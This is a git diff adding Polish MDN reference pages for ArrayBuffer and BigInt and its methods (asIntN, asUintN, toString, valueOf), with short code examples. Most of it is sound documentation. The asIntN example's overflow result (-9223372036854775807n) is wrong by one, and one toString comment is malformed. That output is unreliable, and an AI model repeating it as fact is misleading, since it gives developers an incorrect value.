+<dl>
+ <dt>{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}</dt>
+ <dd>Posiada tę samą funkcjonalność, jak {{jsxref("ArrayBuffer.prototype.slice()")}}.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>W niniejszym przykładzie tworzymy 8-bajtowy buffer z widokiem {{jsxref("Global_Objects/Int32Array", "Int32Array")}} odnoszącym się do buffera:</p>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(8);
+var view = new Int32Array(buffer);</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Typed Array')}}</td>
+ <td>{{Spec2('Typed Array')}}</td>
+ <td>Zastępiony przez ECMAScript 6.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Definicja początkowa w standardzie ECMA. Zgłasza, że wymagany jest <code>new</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>7.0</td>
+ <td>{{CompatGeckoDesktop("2")}}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>5.1</td>
+ </tr>
+ <tr>
+ <td><code>ArrayBuffer()</code> bez odsyłacza <code>new</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("44")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}<br>
+ {{CompatNo}} {{CompatGeckoDesktop("53")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>4.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2")}}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>4.2</td>
+ </tr>
+ <tr>
+ <td><code>ArrayBuffer()</code> bez odsyłacza <code>new</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("44")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}<br>
+ {{CompatNo}} {{CompatGeckoMobile("53")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zapis_kompatybilny">Zapis kompatybilny</h2>
+
+<p>Od ECMAScript 2015 kontruktory <code>ArrayBuffer</code> muszą być tworzone poprzez operator {{jsxref("Operators/new", "new")}}. Wywoływanie kontruktora ArrayBuffer jako funkcji bez <code>new</code> zaskutkuje od teraz pojawieniem się {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = ArrayBuffer(10);
+// TypeError: calling a builtin ArrayBuffer constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new ArrayBuffer(10);</pre>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html
new file mode 100644
index 0000000000..f3d7de5b66
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html
@@ -0,0 +1,79 @@
+---
+title: BigInt.asIntN()
+slug: Web/JavaScript/Referencje/Obiekty/BigInt/asIntN
+tags:
+ - BigInt
+ - JavaScript
+ - Metodă
+ - Referencja
+ - asIntN
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asIntN
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda statyczna <strong><code>BigInt.asIntN</code></strong> jest używana do opakowywania wartości BigInt w wartości całkowite ze znakiem w zakresie od -2<sup>szerokość-1</sup> do 2<sup>szerokość-1</sup>-1.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-asintn.html", "taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">BigInt.asIntN(<em>szerokość</em>, <var>bigint</var>);</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code><var>szerokość</var></code></dt>
+ <dd>Liczba bitów dostępnych dla rozmiaru wartości całkowitej (integer).</dd>
+ <dt><code><var>bigint</var></code></dt>
+ <dd>Wartość całkowita, którą chcemy wpasować w daną liczbę bitów.</dd>
+</dl>
+
+<h3 id="Wynik">Wynik</h3>
+
+<p>Wartość <code><var>bigint</var></code> modulo 2<sup><code><var>szerokość</var></code></sup> jako liczba całkowita ze znakiem.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Pozostawanie_w_zakresie_arytmetyki_64-bitowej">Pozostawanie w zakresie arytmetyki 64-bitowej</h3>
+
+<p>Metoda <code>BigInt.asIntN()</code> może być użyteczna do tego, by pozostać w zakresie obliczeń arytmetyki 64-bitowej.</p>
+
+<pre class="brush: js">const max = 2n ** (64n - 1n) - 1n;
+
+BigInt.asIntN(64, max);
+// ↪ 9223372036854775807n
+
+BigInt.asIntN(64, max + 1n);
+// ↪ -9223372036854775807n
+// wartość ujemna ze względu na przepełnienie
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-bigint.asintn', 'BigInt.asIntN()')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.builtins.BigInt.asIntN")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{JSxRef("BigInt")}}</li>
+ <li>{{JSxRef("BigInt.asUintN()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html
new file mode 100644
index 0000000000..0f290f50c4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html
@@ -0,0 +1,78 @@
+---
+title: BigInt.asUintN()
+slug: Web/JavaScript/Referencje/Obiekty/BigInt/asUintN
+tags:
+ - BigInt
+ - JavaScript
+ - Metodă
+ - Referencja
+ - asUintN
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda statyczna <strong><code>BigInt.asUintN</code></strong> jest używana do opakowywania wartości BigInt w wartości całkowite bez znaku w zakresie od 0 do 2<sup>szerokość</sup>-1.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-asuintn.html", "taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">BigInt.asUintN(<em>szerokość</em>, <var>bigint</var>);</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code><var>szerokość</var></code></dt>
+ <dd>Liczba bitów dostępnych dla rozmiaru wartości całkowitej (integer).</dd>
+ <dt><code><var>bigint</var></code></dt>
+ <dd>Wartość całkowita, którą chcemy wpasować w daną liczbę bitów.</dd>
+</dl>
+
+<h3 id="Wynik">Wynik</h3>
+
+<p>Wartość <code><var>bigint</var></code> modulo 2<sup><code><var>szerokość</var></code></sup> jako wartość całkowita bez znaku.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Pozostawanie_w_zakresie_arytmetyki_64-bitowej">Pozostawanie w zakresie arytmetyki 64-bitowej</h3>
+
+<p>Metoda <code>BigInt.asUintN()</code> może być użyteczna do tego, by pozostać w zakresie obliczeń arytmetyki 64-bitowej.</p>
+
+<pre class="brush: js">const max = 2n ** 64n - 1n;
+
+BigInt.asUintN(64, max);
+// ↪ 18446744073709551615n
+
+BigInt.asUintN(64, max + 1n);
+// ↪ 0n
+// zero z powodu przepełnienia</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-bigint.asuintn', 'BigInt.asUintN()')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.builtins.BigInt.asUintN")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{JSxRef("BigInt")}}</li>
+ <li>{{JSxRef("BigInt.asIntN()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/index.html
new file mode 100644
index 0000000000..650604b0c3
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/bigint/index.html
@@ -0,0 +1,293 @@
+---
+title: BigInt
+slug: Web/JavaScript/Referencje/Obiekty/BigInt
+tags:
+ - BigInt
+ - JavaScript
+ - Referencja
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>BigInt</code></strong> jest wbudowanym obiektem umożliwiającym reprezentowanie całych liczb większch niż 2<sup>53</sup> - 1, ile wynosi największa liczba, którą JavaScript może faktycznie reprezentować przez prymityw {{JSxRef("Number")}}, co jest też reprezentowane przez stałą {{JSxRef("Number.MAX_SAFE_INTEGER")}}. <strong><code>BigInt</code></strong> może być używany do dowolnie dużych liczb całkowitych.</p>
+
+<dl>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code>BigInt</code> jest tworzony przez dodanie <code>n</code> na końcu literału liczby — <code>10n</code> — lub przez wywołanie funkcji <code>BigInt()</code>.</p>
+
+<pre class="brush: js">const najwiekszyInt = 9007199254740991n
+
+const tezDuzaLiczba = BigInt(9007199254740991)
+// ↪ 9007199254740991n
+
+const duzyString = BigInt("9007199254740991")
+// ↪ 9007199254740991n
+
+const duzyHex = BigInt("0x1fffffffffffff")
+// ↪ 9007199254740991n
+
+const duzyBin = BigInt("0b11111111111111111111111111111111111111111111111111111")
+// ↪ 9007199254740991n
+</pre>
+
+<p><code>BigInt</code> jest w pewnym sensie podobny do {{JSxRef("Number")}} ale też różni się od niego w kilku kluczowych sprawach — nie może być używany z metodami wbudowanego obiektu {{JSxRef("Math")}}, a także nie może być mieszany z instancjami <code>Number</code> w żadnych operacjach; konieczne jest wymuszenie tego samego typu operandów. Należy uważać z wymuszaniem typów w jedną i drugą stronę, w szczególności precyzja <code>BigInt</code> może być utracona przy wymuszonej konwersji do typu <code>Number</code>.</p>
+
+<h3 id="Informacje_o_typie">Informacje o typie</h3>
+
+<p>Przy sprawdzeniu za pomocą <code>typeof</code>, <code>BigInt</code> zwróci "bigint":</p>
+
+<pre class="brush: js">typeof 1n === 'bigint' // true
+typeof BigInt('1') === 'bigint' // true
+</pre>
+
+<p>Obudowany w <code>Object</code>, <code>BigInt</code> będzie rozważany jako zwykły "obiekt":</p>
+
+<pre class="brush: js">typeof Object(1n) === 'object' // true
+</pre>
+
+<h3 id="Operatory">Operatory</h3>
+
+<p>Z <code>BigInt</code>ami (lub <code>BigInt</code>ami obudowanymi w obiekty) mogą być używane następujące operatory: : <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Operatory bitowe</a> także są wspierane, z wyjątkiem <code>&gt;&gt;&gt;</code> (przesunięcie w prawo z dopełnieniem zerami), gdyż wszystkie <code>BigInt</code>y mają znak.</p>
+
+<p>Niewspierany jest także operator jednoargumentowy (<code>+</code>), <a href="https://github.com/tc39/proposal-bigint/blob/master/ADVANCED.md#dont-break-asmjs">aby nie złamać zasad asm.js</a>.</p>
+
+<pre class="brush: js">const previousMaxSafe = BigInt(Number.MAX_SAFE_INTEGER)
+// ↪ 9007199254740991n
+
+const maxPlusOne = previousMaxSafe + 1n
+// ↪ 9007199254740992n
+
+const theFuture = previousMaxSafe + 2n
+// ↪ 9007199254740993n, this works now!
+
+const multi = previousMaxSafe * 2n
+// ↪ 18014398509481982n
+
+const subtr = multi – 10n
+// ↪ 18014398509481972n
+
+const mod = multi % 10n
+// ↪ 2n
+
+const bigN = 2n ** 54n
+// ↪ 18014398509481984n
+
+bigN * -1n
+// ↪ –18014398509481984n
+</pre>
+
+<p>Operator <code>/</code> także działa zgodnie z założeniami z całymi liczbami.</p>
+
+<p>Jako że są to <code>BigInt</code>y, a nie <code>BigDecimal</code>, operacja dzielenia będzie zaokroąglała wynik do <code>0</code> (zatem można prościej powiedzieć, że nie zwraca ułamkowej części wyniku).</p>
+
+<div class="blockIndicator warning">
+<p>Ułamkowy wynik operacji będzie przycięty, kiedy używany jest  <code>BigInt</code>.</p>
+</div>
+
+<pre class="brush: js">const expected = 4n / 2n
+// ↪ 2n
+
+const rounded = 5n / 2n
+// ↪ 2n, not 2.5n
+
+</pre>
+
+<h3 id="Porównania">Porównania</h3>
+
+<p><code>BigInt</code> nie jest ściśle równy {{JSxRef("Number")}}, ale jest równy w luźnym sensie, zatem:</p>
+
+<pre class="brush: js">0n === 0
+// ↪ false
+
+0n == 0
+// ↪ true</pre>
+
+<p>{{JSxRef("Global_Objects/Number", "Number")}} i <code>BigInt</code> mogą być porównywane w zwyczajny sposób:</p>
+
+<pre class="brush: js">1n &lt; 2
+// ↪ true
+
+2n &gt; 1
+// ↪ true
+
+2 &gt; 2
+// ↪ false
+
+2n &gt; 2
+// ↪ false
+
+2n &gt;= 2
+// ↪ true</pre>
+
+<p>Mogą być też mieszane w tablicach i sortowane:</p>
+
+<pre class="brush: js">const mixed = [4n, 6, -12n, 10, 4, 0, 0n]
+// ↪ [4n, 6, -12n, 10, 4, 0, 0n]
+
+mixed.sort()
+// ↪ [-12n, 0, 0n, 4n, 4, 6, 10]
+</pre>
+
+<p>Zauważ, że porównania z <code>BigInt</code>ami opakowanymi w obiekty działają jak z innymi obiektami, wskazując równość tylko wtedy, kiedy ta sama instancja obiektu znajduje się po obu stronach porównania:</p>
+
+<pre class="brush: js">0n === Object(0n) // false
+Object(0n) === Object(0n) // false
+
+const o = Object(0n)
+o === o // true
+</pre>
+
+<h3 id="Instrukcje_warunkowe">Instrukcje warunkowe</h3>
+
+<p><code>BigInt</code> zachowuje się jak {{JSxRef("Global_Objects/Number", "Number")}} w przypadkach, gdy:</p>
+
+<ul>
+ <li>jest konwertowany na {{JSxRef("Global_Objects/Boolean", "Boolean")}} za pomocą funkcji {{JSxRef("Global_Objects/Boolean", "Boolean")}};</li>
+ <li>jest używany z <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Logical_Operators">operatorami logicznymi</a> <code>||</code>, <code>&amp;&amp;</code> lub <code>!</code>;</li>
+ <li>w instrukcjach warunkowych {{JSxRef("Statements/if...else", "if")}}.</li>
+</ul>
+
+<pre class="brush: js">if (0n) {
+ console.log('Hello from the if!')
+} else {
+ console.log('Hello from the else!')
+}
+
+// ↪ "Hello from the else!"
+
+0n || 12n
+// ↪ 12n
+
+0n &amp;&amp; 12n
+// ↪ 0n
+
+Boolean(0n)
+// ↪ false
+
+Boolean(12n)
+// ↪ true
+
+!12n
+// ↪ false
+
+!0n
+// ↪ true
+</pre>
+
+<h2 id="Konstruktor">Konstruktor</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt/BigInt">BigInt()</a></code></dt>
+ <dd>Tworzy obiekty {{jsxref("BigInt")}}.</dd>
+</dl>
+
+<h2 id="Metody_statyczne">Metody statyczne</h2>
+
+<dl>
+ <dt>{{JSxRef("BigInt.asIntN()")}}</dt>
+ <dd>Opakowuje wartość <code>BigInt</code> w liczbę całkowitą ze znakiem o wartości między <code>-2<var><sup>width</sup></var><sup>-1</sup></code> a <code>2<var><sup>width</sup></var><sup>-1</sup> - 1</code>.</dd>
+ <dt>{{JSxRef("BigInt.asUintN()")}}</dt>
+ <dd>Opakowuje wartość <code>BigInt</code> w liczbę całkowitą bez znaku o wartości między <code>0</code> a <code>2<var><sup>width</sup></var> - 1</code>.</dd>
+</dl>
+
+<h2 id="Metody_instancyjne">Metody instancyjne</h2>
+
+<dl>
+ <dt>{{JSxRef("BigInt.prototype.toLocaleString()")}}</dt>
+ <dd>Zwraca string z zależną od języka reprezentacją danej liczby. Nadpisuje metodę {{JSxRef("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{JSxRef("BigInt.prototype.toString()")}}</dt>
+ <dd>Zwraca string reprezentujący dany obiekt w określonym źródle. Nadpisuje metodę {{JSxRef("Object.prototype.toString()")}}.</dd>
+ <dt>{{JSxRef("BigInt.prototype.valueOf()")}}</dt>
+ <dd>Zwraca prymitywną wartość danego obiektu. Nadpisuje metodę {{JSxRef("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Zalecenia_w_użyciu">Zalecenia w użyciu</h2>
+
+<h3 id="Wymuszanie_typów">Wymuszanie typów</h3>
+
+<p>Ponieważ wymuszanie tupów między {{JSxRef("Number")}} a <code>BigInt</code> może prowadzić do utraty precyzji, zaleca się używanie jedynie typu <code>BigInt</code>, gdy można się spodziewać, że pojawią się wartości przekraczające 2<sup>53</sup> i nie należy wówczas przeprowadzać konwersji między tymi typami.</p>
+
+<h3 id="Kryptografia">Kryptografia</h3>
+
+<p>Operacje wspierane dla <code>BigInt</code>ów nie są stałe czasowo, dlatego też typ <code>BigInt</code> <a href="https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html">nie nadaje się do użycia w kryptografii</a>.</p>
+
+<h3 id="Użycie_w_JSON">Użycie w JSON</h3>
+
+<p>Użycie {{jsxref("JSON.stringify()")}} z dowolną wartością typu <code>BigInt</code> spowoduje błąd <code>TypeError</code>, ponieważ wartości <code>BigInt</code> nie są domyślnie serialozowane w JSONie. Jednakże, jeśli taka operacja jest potrzebna, możesz zaimplemntować własną metodę <code>toJSON</code>:</p>
+
+<pre class="brush: js">BigInt.prototype.toJSON = function() { return this.toString() }</pre>
+
+<p>Zamiast wyrzucania wyjątku, <code>JSON.stringify</code> będzie teraz zwracać string:</p>
+
+<pre class="brush: js">JSON.stringify(BigInt(1))
+// '"1"'</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Obliczanie_liczb_pierwszych">Obliczanie liczb pierwszych</h3>
+
+<pre class="brush: js">// Zwraca true jeśl dany BigInt jest liczbą pierwszą
+function isPrime(p) {
+ for (let i = 2n; i * i &lt;= p; i++) {
+ if (p % i === 0n) return false;
+ }
+ return true
+}
+
+// Przyjmuje BigInt n jako argument, zwraca n-tą liczbę pierwszą jako BigInt
+function nthPrime(nth) {
+ let maybePrime = 2n
+ let prime = 0n
+
+ while (nth &gt;= 0n) {
+ if (isPrime(maybePrime)) {
+ nth--
+ prime = maybePrime
+ }
+ maybePrime++
+ }
+
+ return prime
+}
+
+nthPrime(20n)
+// ↪ 73n</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("ESDraft", "#sec-bigint-objects", "<code>BigInt</code> objects")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.BigInt")}}</p>
+
+<h3 id="Postęp_implementacji">Postęp implementacji</h3>
+
+<p>Poniższa tabela przedstawia postęp implementacji tej funkcji języka JavaScript, gdyż nie osiągnęła ona jeszcze pełnej stabilności między przeglądarkami. Dane są generowane przez uruchamianie odpowiednich testów tej funkcji w <a href="https://github.com/tc39/test262">Test262</a>,standrardowym zestawie testów JavaScript, „nocnych wersji” (ang. <em>nightly build</em>) lub ostatnich wydań silnika JavaScript w każdej przeglądarce.</p>
+
+<div>{{EmbedTest262ReportResultsTable("BigInt")}}</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{JSxRef("Number")}}</li>
+ <li>{{JSxRef("Number.MAX_SAFE_INTEGER")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html
new file mode 100644
index 0000000000..9cc06f15ea
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html
@@ -0,0 +1,95 @@
+---
+title: BigInt.prototype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/BigInt/toString
+tags:
+ - BigInt
+ - JavaScript
+ - Metodă
+ - Prototyp
+ - toString()
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toString
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong><code>toString()</code></strong> zwraca ciąg znaków (<em>string</em>), reprezentujący dany obiekt {{jsxref("BigInt")}}. Końcowy znak "n" nie jest częścią wynikowego ciągu znaków.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-tostring.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>bigIntObj</var>.toString([podstawa])</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>podstawa</code>{{optional_inline}}</dt>
+ <dd>Argument opcjonalny. Liczba całkowita w zakresie od 2 do 36, reprezentująca bazę systemu liczbowego, w którym ma być przedstawiona dana wartość {{jsxref("BigInt")}}.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Ciąg znaków reprezentujący dany obiekt {{jsxref("BigInt")}}.</p>
+
+<h3 id="Wyjątki">Wyjątki</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Jeśli do metody <code>toString()</code> przekazana jest podstawa systemu mniejsza niż 2 lub większa niż 36, wyrzucany jest błąd {{jsxref("RangeError")}}.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Obiekt {{jsxref("BigInt")}} nadpisuje metodę <code>toString()</code> obiektu {{jsxref("Object")}}; nie dziedziczy metody {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref( "BigInt")}}, metoda <code>toString()</code> zwraca ciąg znaków reprezentujący daną wartość w systemie pozycyjnym o zadanej bazie.</p>
+
+<p>Metoda <code>toString()</code> parsuje pierwszy argument i próbuje zwrócić ciąg znaków reprezentujący daną wartość w systemie o zadanej podstawie (bazie). Dla systemów o podstawie większej niż 10, do reprezentacji cyfr większych niż 9 używane są kolejne litery alfabetu łacińskiego. Przykładowo, dla wartości w systemie szesnastkowym (o podstawie równej 16), używane są litery od <code>a</code> do <code>f</code>.</p>
+
+<p>Jeśli <code>podstawa</code> nie jest podana, zakłada się, że preferowaną bazą systemu jest 10.</p>
+
+<p>Jeśli wartość <code>bigIntObj</code> jest ujemna, znak jest zachowywany. Dzieje się tak nawet wtedy, gdy podstawą jest 2; zwracany ciąg cyfr jest dodatnią reprezentacją <code>bigIntObj</code>, poprzedzoną znakiem <code>-</code>, <strong>nie</strong> dopełnieniem dwójkowym <code>bigIntObj</code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_toString">Użycie <code>toString</code></h3>
+
+<pre class="brush: js">17n.toString(); // '17'
+66n.toString(2); // '1000010'
+254n.toString(16); // 'fe'
+-10n.toString(2);   // -1010'
+-0xffn.toString(2); // '-11111111'
+</pre>
+
+<h3 id="BigInt_z_ujemnym_zerem"><code>BigInt</code> z ujemnym zerem</h3>
+
+<p>Nie ma obiektów <code>BigInt</code> reprezentujących ujemne zero, tak jak nie ma ujemnych zer wśród liczb całkowitych.. <code>-0.0</code> jest zmiennoprzecinkową koncepcją zmiennoprzecinkową IEEE, która pojawia się w języku JavaScript jedynie w typie {{jsxref("Number")}}.</p>
+
+<pre class="brush: js">(-0n).toString(); // '0'
+BigInt(-0).toString(); // '0'</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-bigint.prototype.tostring', 'BigInt.prototype.toString()')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.BigInt.toString")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("BigInt.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("BigInt.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html
new file mode 100644
index 0000000000..a1d4c312fd
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html
@@ -0,0 +1,59 @@
+---
+title: BigInt.prototype.valueOf()
+slug: Web/JavaScript/Referencje/Obiekty/BigInt/valueOf
+tags:
+ - BigInt
+ - JavaScript
+ - Metodă
+ - Prototype
+ - valueOf()
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong><code>valueOf()</code></strong> zwraca opakowaną wartość prymitywną obiektu {{jsxref("BigInt")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-valueof.html","shorter")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>bigIntObj</var>.valueOf()</pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>BigInt reprezentujący wartość prymitywną danego obiektu {{jsxref("BigInt")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_valueOf">Użycie <code>valueOf</code></h3>
+
+<pre class="brush: js">typeof Object(1n); // object
+typeof Object(1n).valueOf(); // bigint
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-bigint.prototype.valueof', 'BigInt.prototype.valueOf()')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.BigInt.valueOf")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
